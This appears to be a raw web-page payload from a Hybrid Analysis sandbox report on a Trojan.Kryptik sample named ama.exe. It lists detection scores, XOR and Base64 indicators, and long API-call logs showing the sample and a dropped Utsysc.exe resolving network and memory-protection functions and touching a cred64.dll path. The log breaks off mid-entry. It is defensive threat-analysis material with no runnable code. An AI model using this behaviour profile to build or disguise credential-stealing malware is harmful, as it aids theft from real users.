26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 3f:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T482,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Kryptik Sample 24ca467f398c… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 24ca467f398c…. Malware family: Trojan.Kryptik. Threat score 100/100. 15/26 AV engines flagged this file. 7 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15","keywords":["Malicious","Trojan.Kryptik","malware analysis","sandbox report","threat intelligence","24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15"],"about":{"@type":"SoftwareApplication","name":"ama.exe","applicationCategory":["peexe","executable"],"identifier":"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Kryptik","antivirusDetections":{"malicious":15,"total":26},"behavioralIndicators":{"malicious":7,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T400,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp, 00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp, 00000000-00001140.00000002.135699.0046B000.00000020.mdmp")28:T42c,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001140-63382-360-00447EF0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001140-63382-360-00447EF0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001140-63382-848-00407290 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001140-63382-848-00407290 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001140-63382-956-00414E40 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001140-63382-956-00414E40 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001140-63382-969-00410E30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001140-63382-969-00410E30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001140-63382-1006-00411ED0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001140-63382-1019-004109C0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001140-63382-1019-004109C029:T2dae,"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000c0f671730d00000004e1cd05856aff751c23047644e1cd05f85fff7508000000bb69fe75b269fe75e8cdd3851000000094f06b730d000000c0f6717318e1cd0510000000c0f671730d00000048e1cd05856aff751c23047690e1cd050eba7173aebc717303ba7173210be7f01000000094f06b730d000000c0f671735c59350540593505210be7f058e1cd05c0e1cd0544e2cd0570b4717359d35186feffffff03ba71731dba7173c0f67173c0e1cd05df0a6d73c0f67173735fff75010000005ca37f73885fff75300b6d736ccdd385f0e1cd05c8b0717360f06b73a0f06b7300000000000000001eb1717308e2cd050000ce0540de7a0300000000 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000cd0516e1897490decd0588decd0594decd050200000080f61e76a0decd05aaec89740200000000000000e4470b73b6ec8974c0fb6acad8decd057de0897464e08974b8fb6acae4470b7305000000f09d0b730000000075e20b7386e20b7358dfcd05802b8c74006331bbfeffffffe4decd05e0df897420020d73f4decd0549d90c73c0640f7320020d7300dfcd0563d90c7320020d7324dfcd05fa9d0b7301000000010000003706c877010000000b2e8a7406000000dad80c7368dfcd05eecf0c73c4dc0c73e2cf0c7365114f2b0100000001000000000000005dbb1e0c58b4780064dfcd0532baca77a0680f7300000000000000000000000078dfcd05 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000df7140e5cd05000000000000000011a7df71000000000000000000000000f0e5cd05f8e5cd05010000000000000004000000000000000000000000000000000000000000000000000000000000009003000000000000fffffffffffffffffce5cd050000000000000000000000000000000000000000f0e5cd0500000000f8e5cd0500000000010000000000000000000000000000000400000000000000000000000000000000000000e91a55e900e6cd05ad491f7690030000fffffffffce5cd050000000000000000f0e5cd05f8e5cd0501000000000000000400000005400080000000000000000000000000001000000000be0630e6cd051e871574 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff0000000000da1c0138cfc9774c3778036cda1c0101000000003778034c37780300377803040000000400000000e02976001000006cda1c010100000000377803cd97c9779c97c977c5b8cf08b50f2076003778030000c977000000008c080d750000000080ee26760100000000000000f8e22976000000000400000080a95e7448402876f8e2297670da1c0180e8d3760807790380e8d3766cda1c010000000080e8d376f41a9afdfeffffff0000000000000000000000000500000000c0820302000000020000000a000000f0bf820300c0820300000000ed859c6df0dc1c01ddf31d76e4da1c0100000000f0bf82030a000000f8f31d76f0bf8203 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000810300000000e7c0d176000000004a000000f42c810364000000fea77c6568d91c013587d8760000000078bd81032a000000e0ad810368d91c014c87d8765c87d8768ea77c65f02c810378bd8103284f8303284f830300000000f02c8103e0ad81030cdd1c0100000000a80435055c87d876c884d87678bd8103284f83030000000000000000807fd876b485d87600000000f0d91c010000000000000000104f830378bd8103f02c8103a804350530de1c010cde1c0181f1bc76a804350548e31c01d8df1c01c5f1bc76000078039834c97770b3830338de1c011c60b9760400000030de1c015c83c876a0043505a090c076000000000400000004000000 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000569083036c908303 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000002ee1830346e18303 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000467f84035a7f8403 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000006e784031ee78403 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000a6bc8503bcbc8503 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000cec18503e6c18503 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000f6c085030ec18503 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a804350500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000094e31c015243cc7743000000e8e31c0173f61d762ae41c015c00000000000000fdfeff7f82f81d7600000000941e97fdfeffffff00000000000000000000000005000000a0c5850302000000020000000a00000090c58503a0c5850300000000adbc9c6d30e61c01ddf31d7624e41c010000000090c585030a000000f8f31d7690c58503 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000b0437d03c4437d03 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000010000010000000000000001cf6d0100000000000000b0e21c01854ae076df87d876569c7c65f02c810308ad850300df8403a4cfc776a4cfc776651d84ed00000000000000004ce61c01b0bfe0718d717a9dfeffffff00001c01881a1e76b31a1e76f02c810300000000a80435050000000058e61c018b84d876330000000000000000000000807fd876b485d8760000000000000000000000002ad3db01e8de840308ad8503f02c8103a804350570e71c014ce71c0181f1bc76a804350588ec1c0118e91c01c5f1bc76000078039834c97768cb850378e71c011c60b9760400000070e71c015c83c876a0043505a090c076000000000000000000000000 (UID: 00000000-00002224)2a:T56b,"Utsysc.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\4fdb51ccdc\Utsysc.exe" at 00000000-00001140-00000C17-1052686321 "Utsysc.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\351455743570" at 00000000-00001140-00000C17-1052805375 "Utsysc.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\351455743570" at 00000000-00001140-00000C17-1052830471 "Utsysc.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\351455743570" at 00000000-00001140-00000C17-1074207914 "Utsysc.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\351455743570" at 00000000-00001140-00000C17-1074209136 "Utsysc.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\80c6bf70bf3f8f\cred64.dll" at 00000000-00001140-00000C17-1095026544 "Utsysc.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\351455743570" at 00000000-00001140-00000C17-1116241697 "Utsysc.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\351455743570" at 00000000-00001140-00000C17-1116243011 "Utsysc.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\351455743570" at 00000000-00001140-00000C17-1138179875 "Utsysc.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\351455743570" at 00000000-00001140-00000C17-11381811372b:T4c8,"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00002224) "Utsysc.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001140) "Utsysc.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001140) "Utsysc.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001140) "Utsysc.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001140)2c:T4a85,"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter GetVersionExW (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter CreateCompatibleBitmap (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter SHGetFolderPathA (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter HttpOpenRequestA (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter GdiplusStartup (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter WTSSendMessageW (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter VirtualQuery (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter GetProcessAffinityMask (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter SetProcessAffinityMask (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter SetThreadAffinityMask (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter HeapAlloc (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter HeapFree (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00002224) "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00002224) "Utsysc.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001140) "Utsysc.exe" called 